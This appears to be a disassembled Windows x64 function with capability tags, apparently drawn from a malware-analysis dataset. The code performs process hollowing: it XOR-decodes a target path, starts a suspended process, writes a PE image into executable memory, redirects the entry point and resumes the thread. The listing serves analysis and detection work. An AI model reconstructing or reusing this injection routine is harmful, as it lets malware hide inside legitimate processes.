Function at 0x140003750
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x18d8]
mov eax, 0x19d8
call fcn.1400706d0
sub rsp, rax
mov rax, qword [0x14008e080]
xor rax, rsp
mov qword [rbp + 0x1890], rax
mov rsi, r8
mov r12, rdx
mov rdi, rcx
lea rdx, [rbp + 0x470]
mov r8d, 0x208
xor ecx, ecx
mov r14, r9
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x1400037b0
mov rax, 0xffffffffffffffff
jmp 0x140003bef
xor edx, edx
mov qword [rsp + 0x19c8], r15
mov r8d, 0x1208
lea rcx, [rbp + 0x680]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x470]
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x1400037e0
add rbx, rbx
lea rdx, [rbp + 0x470]
mov r8, rbx
lea rcx, [rbp + 0x680]
call sub.VCRUNTIME140.dll_memcpy
movsxd r15, dword [rsi + 0x3c]
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov word [rbp + rbx + 0x680], ax
add r15, rsi
movzx eax, word [r14]
mov word [rbp + rbx + 0x682], ax
cmp dword [r15], 0x4550
je 0x140003836
mov eax, 0xfffffffe
jmp 0x140003be7
movups xmm0, xmmword [0x140082790]
movups xmm1, xmmword [0x1400827a0]
mov qword [rsp + 0x19d0], r13
xor r13d, r13d
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, r13d
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x1400827b0]
movups xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [0x1400827c0]
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm1
jl 0x1400039b9
movdqa xmm5, xmmword [0x140082a10]
lea rcx, [rsp + 0x50]
movdqa xmm4, xmmword [0x140082ac0]
mov edx, r13d
movaps xmmword [rsp + 0x19b0], xmm6
movdqa xmm6, xmmword [str.2222]
movaps xmmword [rsp + 0x19a0], xmm7
movdqa xmm7, xmmword [0x140082a90]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edx, 0x20
jl 0x1400038c0
movaps xmm7, xmmword [rsp + 0x19a0]
movaps xmm6, xmmword [rsp + 0x19b0]
jmp 0x1400039ea
lea r8, [rsp + 0x50]
nop
mov eax, 0x51eb851f
lea r8, [r8 + 2]
mul ecx
shr edx, 4
movzx eax, dx
imul edx, eax, 0x32
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x38
xor word [r8 - 2], ax
cmp ecx, 0x20
jl 0x1400039c0
mov qword [rsp + 0x48], rdi
lea rdx, [rbp + 0x680]
mov qword [rsp + 0x40], r12
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x38], r13
xor r9d, r9d
mov qword [rsp + 0x30], r13
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140003a34
mov eax, 0xfffffffd
jmp 0x140003bdf
xor edx, edx
lea rcx, [rbp - 0x60]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rdi + 8]
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x30], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rdi]
test eax, eax
jne 0x140003a76
mov edx, 0xfffffffc
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffc
jmp 0x140003bdf
mov r8d, dword [r15 + 0x50]
mov r9d, 0x3000
mov rdx, qword [r15 + 0x30]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rdi]
mov qword [rbp - 0x70], rax
test rax, rax
jne 0x140003ab3
mov edx, 0xfffffffb
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffb
jmp 0x140003bdf
mov r9d, dword [r15 + 0x54]
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140003ae4
mov rcx, qword [rdi]
mov edx, 0xfffffffa
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffa
jmp 0x140003bdf
mov rbx, r13
cmp r13w, word [r15 + 6]
jae 0x140003b39
mov r14, r13
movsxd rax, dword [rsi + 0x3c]
mov rcx, qword [rdi]
add rax, r14
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rsi + 0x11c]
mov edx, dword [rax + rsi + 0x114]
add r8, rsi
add rdx, qword [rbp - 0x70]
mov r9d, dword [rax + rsi + 0x118]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003b72
movzx eax, word [r15 + 6]
inc rbx
add r14, 0x28
cmp rbx, rax
jb 0x140003af1
mov rdx, qword [rbp + 0x28]
lea r8, [rbp - 0x70]
mov rcx, qword [rdi]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140003b87
mov rcx, qword [rdi]
mov edx, 0xfffffff8
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff8
jmp 0x140003bdf
mov rcx, qword [rdi]
mov edx, 0xfffffff9
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff9
jmp 0x140003bdf
mov eax, dword [r15 + 0x28]
lea rdx, [rbp - 0x60]
add rax, qword [rbp - 0x70]
mov rcx, qword [rdi + 8]
mov qword [rbp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140003bba
mov rcx, qword [rdi]
mov edx, 0xfffffff7
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff7
jmp 0x140003bdf
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x140003bdd
mov rcx, qword [rdi]
mov edx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff6
jmp 0x140003bdf
xor eax, eax
mov r13, qword [rsp + 0x19d0]
mov r15, qword [rsp + 0x19c8]
mov rcx, qword [rbp + 0x1890]
xor rcx, rsp
call fcn.14006ff00
add rsp, 0x19d8
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret